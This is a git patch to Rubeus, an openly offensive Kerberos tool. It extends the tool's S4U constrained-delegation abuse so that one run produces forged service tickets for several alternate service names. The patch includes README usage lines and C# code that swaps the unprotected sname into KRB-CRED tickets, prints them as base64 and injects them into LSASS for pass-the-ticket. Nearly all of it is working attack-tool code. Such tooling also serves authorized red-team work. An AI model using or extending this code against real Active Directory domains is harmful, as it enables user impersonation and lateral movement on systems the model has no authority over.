From 4c94eb8f3a6aa5fb466be93af664d61466106280 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 24 Sep 2018 23:16:49 -0400 Subject: [PATCH] -Added option for multiple alternate snames (/altservice:X,Y,...) for the s4u actions --The executes the S4U2self/S4U2proxy process only once, and substitutes the multiple alternate service names into the final resulting service ticket structure(s) for as many snames as specified --- README.md | 4 +- Rubeus/lib/S4U.cs | 212 ++++++++++++++++++++++++++++++++-------------- 2 files changed, 149 insertions(+), 67 deletions(-) diff --git a/README.md b/README.md index bd8caf5..7469e2e 100755 --- a/README.md +++ b/README.md @@ -26,7 +26,7 @@ Rubeus is licensed under the BSD 3-Clause license. Perform S4U constrained delegation abuse: Rubeus.exe s4u /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt] - Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt] + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:cifs,HOST,...] [/dc:DOMAIN_CONTROLLER] [/ptt] Submit a TGT, optionally targeting a specific LUID (if elevated): Rubeus.exe ptt [/luid:LOGINID] @@ -218,7 +218,7 @@ First, a valid TGT/KRB-CRED file is needed for the account with constrained dele The ticket is then supplied to the **s4u** action via /ticket (again, either as a base64 blob or a ticket file on disk), along with a required /impersonateuser:X to impersonate to the /msdsspn:SERVICE/SERVER SPN that is configured in the account's msds-allowedToDelegateTo field. The /dc and /ptt parameters function the same as in previous actions. -The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. +The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated (/altservice:cifs,HOST,...). Alternatively, instead of providing a /ticket, a /user:X and either a /rc4:X or /aes256:X hash specification (/domain:X optional) can be used similarly to the **asktgt** action to first request a TGT for /user with constrained delegation configured, which is then used for the s4u exchange. diff --git a/Rubeus/lib/S4U.cs b/Rubeus/lib/S4U.cs index 4819970..e5dbb63 100755 --- a/Rubeus/lib/S4U.cs +++ b/Rubeus/lib/S4U.cs @@ -52,7 +52,15 @@ namespace Rubeus Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { - Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); + string[] altSnames = altService.Split(','); + if (altSnames.Length == 1) + { + Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); + } + else + { + Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); + } } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser); @@ -95,11 +103,12 @@ namespace Rubeus s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); + string serverName = parts[1]; s4u2proxyReq.req_body.sname.name_type = 2; // the sname s4u2proxyReq.req_body.sname.name_string.Add(parts[0]); // the server - s4u2proxyReq.req_body.sname.name_string.Add(parts[1]); + s4u2proxyReq.req_body.sname.name_string.Add(serverName); // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); @@ -137,78 +146,151 @@ namespace Rubeus AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); - // now build the final KRB-CRED structure - KRB_CRED cred = new KRB_CRED(); - - // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { - rep2.ticket.sname.name_string[0] = altService; + string[] altSnames = altService.Split(','); + + foreach (string altSname in altSnames) + { + // now build the final KRB-CRED structure with one or more alternate snames + KRB_CRED cred = new KRB_CRED(); + + // since we want an alternate sname, first substitute it into the ticket structure + rep2.ticket.sname.name_string[0] = altSname; + + // add the ticket + cred.tickets.Add(rep2.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED + Console.WriteLine("\r\n[*] Substituting alternative service name '{0}'", altSname); + info.sname.name_string[0] = altSname; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); + + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes); + } + } } - - // add the ticket - cred.tickets.Add(rep2.ticket); - - // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart - - KrbCredInfo info = new KrbCredInfo(); - - // [0] add in the session key - info.key.keytype = encRepPart2.key.keytype; - info.key.keyvalue = encRepPart2.key.keyvalue; - - // [1] prealm (domain) - info.prealm = encRepPart2.realm; - - // [2] pname (user) - info.pname.name_type = rep2.cname.name_type; - info.pname.name_string = rep2.cname.name_string; - - // [3] flags - info.flags = encRepPart2.flags; - - // [4] authtime (not required) - - // [5] starttime - info.starttime = encRepPart2.starttime; - - // [6] endtime - info.endtime = encRepPart2.endtime; - - // [7] renew-till - info.renew_till = encRepPart2.renew_till; - - // [8] srealm - info.srealm = encRepPart2.realm; - - // [9] sname - info.sname.name_type = encRepPart2.sname.name_type; - info.sname.name_string = encRepPart2.sname.name_string; - // if we want an alternate sname, lastely substitute it into the encrypted portion of the KRB_CRED - if (!String.IsNullOrEmpty(altService)) + else { - Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); - info.sname.name_string[0] = altService; - } + // now build the final KRB-CRED structure, no alternate snames + KRB_CRED cred = new KRB_CRED(); - // add the ticket_info into the cred object - cred.enc_part.ticket_info.Add(info); + // if we want an alternate sname, first substitute it into the ticket structure + if (!String.IsNullOrEmpty(altService)) + { + rep2.ticket.sname.name_string[0] = altService; + } - byte[] kirbiBytes = cred.Encode().Encode(); + // add the ticket + cred.tickets.Add(rep2.ticket); - string kirbiString = Convert.ToBase64String(kirbiBytes); + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart - Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + KrbCredInfo info = new KrbCredInfo(); - // display the .kirbi base64, columns of 80 chararacters - foreach (string line in Helpers.Split(kirbiString, 80)) - { - Console.WriteLine(" {0}", line); - } - if (ptt) - { - // pass-the-ticket -> import into LSASS - LSA.ImportTicket(kirbiBytes); + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("\r\n[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); + + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes); + } } } else if (responseTag == 30)